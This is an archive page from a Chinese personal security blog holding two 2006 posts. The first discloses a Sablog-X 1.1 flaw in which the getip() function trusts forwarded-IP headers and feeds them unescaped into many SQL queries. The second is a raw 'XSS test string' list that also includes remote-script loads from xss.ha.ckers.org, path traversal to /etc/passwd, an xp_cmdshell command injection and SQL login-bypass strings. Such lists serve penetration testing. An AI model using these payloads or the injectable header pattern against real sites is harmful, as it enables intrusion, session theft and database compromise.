XSS | Chinadu's Blog

存档

文章标签 ‘XSS’

Sablog-X Ver 1.1 getip() Vulnerability

2006年9月28日 Chinadu 没有评论 77 views

Sablog-X Ver 1.1 getip() Vulnerability

getip()过滤不严导致sql/xss等攻击。

sablog\include\common.php
--------code-------------
function getip() {
if (isset($_SERVER)) {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$realip = $_SERVER['HTTP_CLIENT_IP'];
} else {
$realip = $_SERVER['REMOTE_ADDR'];
}
} else {
if (getenv("HTTP_X_FORWARDED_FOR")) {
$realip = getenv( "HTTP_X_FORWARDED_FOR");
} elseif (getenv("HTTP_CLIENT_IP")) {
$realip = getenv("HTTP_CLIENT_IP");
} else {
$realip = getenv("REMOTE_ADDR");
}
}
return $realip;
}
--------code-------------

D:\>Findstr /S /I /N /d:D:\phproot\sablog "getip" *.php
D:\phproot\sablog:
post.php:93: $DB->query("Insert INTO ".$db_prefix."users VALUES ('', '".$username."', '".md5($password)."', '".$email."', '".$url."', '".time()."', '".getip()."', '0', '')");
post.php:181: if (preg_match("/^$ban_ip/", getip())) {
post.php:320: $DB->query("Insert INTO ".$db_prefix."comments (articleid, authorid, author, url, email, dateline, content, ipaddress, visible) VALUES ('".$articleid."', '".$userid."', '".$username."', '".$url."', '".$email."', '".time()."', '".$content."', '".getip()."', '".$visible."')");
post.php:379: $query = $DB->query("Select searchid, dateline, ('".$options['search_post_space']."'<>'0' AND ".time()."-dateline< ".$options['search_post_space'].") AS flood, searchfrom='".$searchfrom."' AND keywords='".$keywords."' AS indexvalid FROM ".$db_prefix."searchindex Where ('".$options['search_post_space']."'<>'0' AND ipaddress='".getip()."' AND ".time()."-dateline< ".$options['search_post_space'].") orDER BY flood");
post.php:475: $DB->query("Insert INTO ".$db_prefix."searchindex (keywords, dateline, sortby, orderby, tatols, ids, searchfrom, ipaddress) VALUES ('".$keywords."', '".time()."', '".$sortby."', '".$orderby."', '".$tatols."', '".$ids."', '".$searchfrom."', '".getip()."')");
trackback.php:80: $query = $DB->query("Select trackbackid FROM ".$db_prefix."trackbacks Where ipaddress='".getip()."' AND dateline+".$interval.">='".time()."'");
trackback.php:98: $query = $DB->query("Select title,ipaddress,articleid FROM ".$db_prefix."trackbacks Where ipaddress='".getip()."' or articleid='".$articleid."'");
trackback.php:101: if ($trackback['title'] == $title && $trackback['ipaddress'] == getip()) {
trackback.php:105: if ($trackback['ipaddress'] == getip() && $trackback['articleid'] == $articleid) {
trackback.php:185: $DB->query("Insert INTO ".$db_prefix."trackbacks (articleid, title, dateline, excerpt, url, blog_name, ipaddress, visible, point) VALUES('".$articleid."', '".$title."', '".time()."', '".$excerpt."', '".$url."', '".$blog_name."', '".getip()."', '".$visible."', '".$point."')");
include\common.php:168:function getip() {
include\common.php:219:if ($_COOKIE["UserIP"] !== getip()) {
include\common.php:220: setcookie ("UserIP", getip(), time()+(24*3600));
admin\adminfunctions.php:128: $DB->query("Insert INTO ".$db_prefix."loginlog (username,dateline,ipaddress,result) VALUES ('".addslashes($username)."','".time()."','".getip()."','".$result."')");

admin\adminfunctions.php:137: $DB->query("Insert INTO ".$db_prefix."adminlog (action,script,dateline,ipaddress,username) VALUES ('".htmlspecialchars(trim($action))."','".htmlspecialchars(trim($script))."','".time()."','".getip()."','".$_SESSION['admin_username']."')");

admin\global.php:70: $DB->unbuffered_query("Update ".$db_prefix."admin SET logincount=logincount+1, logintime='".time()."', loginip='".getip()."' Where username='".$username."'");

wap\global.php:228: $DB->query("Insert INTO ".$db_prefix."loginlog (username,dateline,ipaddress,result) VALUES ('".addslashes($username)."','".time()."','".getip()."','".$result."')");
wap\index.php:329: $query = $DB->query("Select searchid, dateline, ('".$options['search_post_space']."'<>'0' AND ".time()."-dateline< ".$options['search_post_space'].") AS flood, searchfrom='article' AND keywords='".$keywords."' AS indexvalid FROM ".$db_prefix."searchindex Where ('".$options['search_post_space']."'<>'0' AND ipaddress='".getip()."' AND ".time()."-dateline< ".$options['search_post_space'].") orDER BY flood");
wap\index.php:376: $DB->query("Insert INTO ".$db_prefix."searchindex (keywords, dateline, sortby, orderby, tatols, ids, searchfrom, ipaddress) VALUES ('".$keywords."', '".time()."', 'dateline', 'desc', '".$tatols."', '".$ids."', 'article', '".getip()."')");
wap\index.php:622: $DB->unbuffered_query("Update ".$db_prefix."admin SET logincount=logincount+1, logintime='".time()."', loginip='".getip()."' Where username='".$username."'");
wap\index.php:686: if (preg_match("/^$ban_ip/", getip())) {
wap\index.php:762: if (preg_match("/^$ban_ip/", getip())) {
wap\index.php:812: $DB->query("Insert INTO ".$db_prefix."comments (articleid, authorid, author, url, email, dateline, content, ipaddress, visible) VALUES ('".$articleid."', '".$userid."', '".$username."', '".$url."', '".$email."', '".time()."', '".$content."', '".getip()."', '".$visible."')");

分类: 技术文章标签: SQL Injection, XSS

XSS测试语句大全

2006年9月25日 Chinadu 1 条评论 88 views

XSS测试语句大全:

'><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> %3Cscript%3Ealert('XSS')%3C/script%3E <script>alert('XSS')</script> <img src="javascript:alert('XSS')"> %0a%0a<script>alert(\"Vulnerable\")</script>.jsp %22%3cscript%3ealert(%22xss%22)%3c/script%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html %3f.jsp %3f.jsp <script>alert('Vulnerable');</script> <script>alert('Vulnerable')</script> ?sql_debug=1 a%5c.aspx a.jsp/<script>alert('Vulnerable')</script> a/ a?<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E %3Cscript%3Ealert(document. domain);%3C/script%3E& %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=JaVaScRiPt:alert("XSS")> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> "<IMG SRC=java\0script:alert(\"XSS\")>";' > out <IMG SRC=" javascript:alert('XSS');"> <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <BGSOUND SRC="javascript:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <IMG SRC='vbscript:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescript:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> <IFRAME SRC=javascript:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <BASE HREF="javascript:alert('XSS');//"> getURL("javascript:alert('XSS')") a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascript:alert('XSS');"> "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" <SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> <IMG SRC="javascript:alert('XSS')"  <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> admin'-- ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a

分类: 技术文章标签: XSS

Page 2 of 2«12

一	二	三	四	五	六	日
« 三
	1	2	3	4	5	6
7	8	9	10	11	12	13
14	15	16	17	18	19	20
21	22	23	24	25	26	27
28	29	30	31

Chinadu's Blog

存档

Sablog-X Ver 1.1 getip() Vulnerability

XSS测试语句大全

About Me

站内搜索

日历

最新文章

热门文章

近期评论

文章归档

Categories

Blogroll

Archives